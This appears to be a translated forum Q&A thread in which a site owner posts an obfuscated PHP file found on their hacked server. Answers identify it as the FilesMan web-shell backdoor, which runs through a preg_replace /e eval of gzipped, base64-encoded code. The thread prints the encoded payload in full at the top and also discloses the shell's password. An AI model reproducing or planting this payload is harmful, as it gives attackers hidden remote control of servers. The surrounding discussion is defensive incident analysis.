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'\x29\x29\x29\x3B",".");?>

Does anyone have any idea how useful that is?

  • I believe that is why the modifier e have been deprecated in newer versions of PHP

  • This code opens a web shell made in php, and the password it placed was = "kiddiedemierda" =)

3 answers

42


The code snippet actually responsible for the "theft" of the data is the last line. Basically it is a preg_replace containing the flag e, which means that any functions within the regular expression should be executed. And the code to be executed is within that hash huge, which I decompiled and put at this link here.

This code is within the functions eval(gzinflate(base64_decode($hash))) that is represented by the encoded characters at the very beginning of the hash.

In short: the function preg_replace executes a eval of malicious code (which is on the link above) that is uncompressed through functions gzinflate and base64_decode.

  • Well, this file can run externally or needs to be first inserted within the site ftp?

  • @Rodrigoborth He may be executed externally, but the Cracker (right term, instead of hacker) before anything else has to put the file somehow inside the server. Probably it did this via FTP.

  • then he either managed to break into FTP or he hired a hosting and by chance the server of that hosting was the same as my website :(

  • preg_replace executes the eval because of the modifier e :)

23

The Filesman is a backdoor or shell as they call it. The goal of these is to leave the "back door" always open for when the hacker needs this system. If you have not yet removed this file from your server it is important to do so.

About how he accessed the Kinghost Dashboard, there’s nothing in that code that proves what you said.

  • I have no way to post the proof, but after chatting with kinghost support they confirmed that their dashboard that was hacked and passwords changed, I already deleted the files and changed the dashboard password again...

  • Thank you, this information is really important. So in this case you can state with certainty that it was a code flaw and then accessed your account at kinghost or simply started at kinghost and ended up infecting your site?

  • This time they started at Kinghost and ended up on my site, probably not the only one, but so far it’s the only one we’ve seen

  • If the person who did this wanted she could have just ejected sql on the site, but she didn’t do it, scanned the database for some information but found nothing, later we talked to the support of kinghost and the same claimed that the greatest possibility was that their panel "panel.dominio.com.br" that had been hacked since the ftp access ips were blocked and there was no type of sql injected into the site

  • It is that they are two different things. In the case of injecting SQL, the attacker aims to invade your system, injecting malicious code by SQL. the Filesman there is a backdoor IE, had already occurred the invasion and the attacker only left a way to always connect. You can look at the rodigorigotti response, where the code is displayed without being overshadowed.

  • That is, he had to access the server one way or another to leave the file there and always have access...

  • Exactly, first he gets access, then he keeps access.

Show 2 more comments

5

The hacker managed to get the code into his server anyway and it starts working, opens a few doors and then will have easy access to the contents of your server.

According to my antivirus, the code is a trojan. The funny thing is that he thinks that the very page on which he is concerned is a virus, and as such my antivirus recognizes this page as being a trojan virus.

A Trojan horse (Trojan Horse) is a malware (malicious program) that acts as the story of the Trojan Horse, entering the computer and releasing a port for a possible hack and it’s easy to be sent, just click on the computer ID and send to any other computer.

Trojan horse (computer) - Wikipedia, the free encyclopedia

The Avast link is too big: http://goo.gl/o7TV5l or http://goo.gl/o7TV5l+ (if you don’t trust the link, then Google shows you the link data).

I recommend that Stackexchange moderators check this situation, which is probably nothing.

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  • Code in quarantine? I don’t understand what you mean.

  • Forget it’s probably nothing...

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